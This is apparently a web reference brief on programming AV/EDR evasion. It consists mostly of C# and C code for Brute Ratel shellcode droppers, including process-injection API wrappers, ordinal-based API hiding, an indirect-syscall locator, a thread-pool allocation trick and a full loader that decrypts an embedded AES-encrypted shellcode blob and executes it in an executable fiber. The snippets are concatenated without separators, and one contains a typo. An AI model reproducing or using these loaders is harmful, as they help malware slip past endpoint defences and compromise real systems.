Why this topic matters
Av/Edr Evasion Programming matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.
This brief treats av/edr evasion programming as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.
Core coverage
The points below capture the main workflows, concepts, tools and operator decisions associated with av/edr evasion programming.
- Programming av/edr evasion concepts
- Av & edr evasion diagram
- Av & edr evasion diagram (stammt by github, siehe link)
- Which language fits the task?
- C# create process dropper for brute ratel (program.cs)
- Win32.cs (wrapper for nativ win32 lib)
- C# create remote thread dropper for brute ratel (program.cs)
- C# ntmapviewofsection dropper for brute ratel (program.cs)
- Native.cs (native library wrapper)
- C# queueuserapc dropper for brute ratel (program.cs)
Commands and snippets
using System;
using System.Runtime.InteropServices;
namespace CreateThread
{
internal class Win32
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}using System;
using System.Runtime.InteropServices;
namespace CreateRemoteThread
{
internal class Win32
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}using System;
using System.Runtime.InteropServices;
namespace NtMapViewOfSection
{
internal class Native
{
[DllImport("ntdll.dll")]
public static extern uint NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle);
[DllImport("ntdll.dll")]
public static extern uint NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[DllImport("ntdll.dll")]
public static extern uint NtCreateThreadEx(
out IntPtr threadHandle,
uint desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
}
}using System;
using System.Runtime.InteropServices;
namespace QueueUserAPC
{
internal class Win32
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CreateProcessW(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
uint dwData);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}using System;
using System.Runtime.InteropServices;
namepsace Ordinals
{
internal class Program
{
[DllImport("user32.dll", EntryPoint = "#2155", CharSet = CharSet.Unicode)]
static extern int TotallyLegitAPI(IntPtr hWnd, string lbText, string lpCaption, uint uType);
static void Main(string[] args)
{
TotallyLegitAPI(IntPtr.Zero, "Hallo, ich bin eine MessageBox!", "Ordinal", 0);
}
}
}public static IntPtr SC_Address(IntPtr NtApiAddress)
{
IntPtr SyscallAddress;
#if WIN64
byte[] syscall_code =
{
0x0f, 0x05, 0xc3
};
UInt32 distance_to_syscall = 0x12;
#else
byte[] syscall_code =
{
0x0f, 0x34, 0xc3
};
UInt32 distance_to_syscall = 0xf;
#endif
// Start with common offset to syscall
var tempSyscallAddress = NtApiAddress.ToInt64() + distance_to_syscall;
SyscallAddress = (IntPtr) tempSyscallAddress;
byte[] AddressData = new byte[3];
Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
if (AddressData.SequenceEqual(syscall_code)){
return SyscallAddress;
}
long searchLimit = 512;
long regionSize = 0;
long pageAddress = 0;
long currentAddress = 0;
// If syscall not found, search the closest one to the current NTDLL API address byte by byte
PE.MEMORY_BASIC_INFORMATION mem_basic_info = new PE.MEMORY_BASIC_INFORMATION();
if(Imports.VirtualQueryEx(Imports.GetCurrentProcess(), NtApiAddress, out mem_basic_info, (uint)Marshal.SizeOf(typeof(PE.MEMORY_BASIC_INFORMATION))) != 0)
{
regionSize = mem_basic_info.RegionSize.ToInt64();
pageAddress = (long)mem_basic_info.BaseAddress;
currentAddress = NtApiAddress.ToInt64();
searchLimit = regionSize-(currentAddress-pageAddress)-syscall_code.Length+1;
}
for (int num_jumps = 1 ; num_jumps < searchLimit ; num_jumps++){
tempSyscallAddress = NtApiAddress.ToInt64() + num_jumps;
SyscallAddress = (IntPtr) tempSyscallAddress;
AddressData = new byte[3];
Marshal.Copy(SyscallAddress, AddressData, 0, AddressData.Length);
if (AddressData.SequenceEqual(syscall_code)){
return SyscallAddress;
}
}
return IntPtr.Zero;
}#include <windows.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
UINT_PTR pNtAllocateVirtualMemory; // pointer to NtAllocateVirtualMemory - rax
HANDLE hProcess; // HANDLE ProcessHandle - rcx
PVOID* address; // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
PSIZE_T size; // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
ULONG permissions; // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
int main() {
LPVOID allocatedAddress = NULL;
SIZE_T allocatedsize = 0x1000;
NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
ntAllocateVirtualMemoryArgs.pNtAllocateVirtualMemory = (UINT_PTR) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
ntAllocateVirtualMemoryArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
ntAllocateVirtualMemoryArgs.size = &allocatedsize;
ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READ;
FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, &ntAllocateVirtualMemoryArgs, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x1000);
printf("allocatedAddress: %p\n", allocatedAddress);
getchar();
return 0;
}#include <windows.h>
#include "Shellcode.h"
unsigned char my_payload[] = "\xaa\x40\xf2\x40\x31\x09\x0b\xaa\x08\xd5\x21\x8a\x67\x9c\x31\xca\x7d\x4b\x39\xd4\xf9\x7a\xa8\x28\x07\x9b\x89\x21\x24\x63\xe7\x47\x93\x7d\x3f\xd4\xfd\x90\x0a\x1f\xa9\xce\x9d\xd8\x9f\x93\xcf\x3b\xd2\x4d\xe7\x98\x14\xda\x9a\x9e\x51\x14\x38\x4f\xb4\xac\x96\x1d\xa5\x20\x1f\x40\x79\x2a\x55\x66\xed\x55\x11\x46\xff\x56\x68\xeb\x01\xc5\xe1\xe2\x53\x29\xa0\x08\xb6\xc3\xd0\x47\x1d\xd4\x1f\x45\xad\x17\xb0\xd5\xca\x36\x30\x89\x90\x38\xf8\x19\x6b\x01\xc9\x9a\x95\x6d\x1f\xe5\xef\x65\x5a\x46\xfe\x76\x76\xfd\xc5\x68\xd8\xa9\x8c\xc0\x12\x5c\x44\x54\x2e\xae\x7e\xef\x53\x14\x80\xa2\xa7\x8f\x2c\x23\x69\x9d\xb4\x09\xb8\x80\xb5\x66\x69\x9e\x68\x16\xcb\x85\x55\x0f\x11\x52\x2e\xb4\x8d\xce\x24\xc9\x59\x3e\x47\x61\x56\xfe\x70\xe3\x7b\x6c\xe1\xb6\x77\x15\x6b\x7f\xba\xe3\xb5\x39\x99\x49\xe4\x86\x46\x99\x4d\x13\x6f\x1f\xb8\x1e\x64\x9d\x31\xb0\x02\x83\x7d\xa6\xcf\x70\xd5\xcb\x34\x28\x63\x89\x34\x63\xdf\x8c\x5e\x78\xa5\x0d\xf0\x7d\x2d\x7e\x3e\x70\xea\x5e\x81\x83\x2e\x8b\xf2\x93\xe4\x70\x98\xd6\xc7\x6c\x4b\x80\x8b\x98\x33\xa8\x50\x97\x38\x3c\xae\x48\x9c\x70\xd8\xea\x85\x86\x4e\x64\xf1\xf0\xf0\xa4\x42\x31\xc8\x7a\xe2\x82\x6b\x1f\x1a\x70\x36\xe4\x80\xef\xdf\xaf\x31\xce\x54\x90";
unsigned int my_payload_len = sizeof(my_payload);
int main() {
unsigned char key[] = "S12Testing";
unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";
PVOID f; // converted
PVOID payload_mem; // memory buffer for payload
PVOID payloadF; // fiber
Shellcode sc = Shellcode(my_payload,sizeof(my_payload));
unsigned char* payload = sc.AES_decrypt(key,iv);
// convert main thread to fiber
f = ConvertThreadToFiber(NULL);
// allocate memory buffer
payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, payload, my_payload_len);
// create a fiber that will execute payload
payloadF = CreateFiber(NULL, (LPFIBER_START_ROUTINE)payload_mem, NULL);
SwitchToFiber(payloadF);
return 0;
}Curated public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io ยท Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
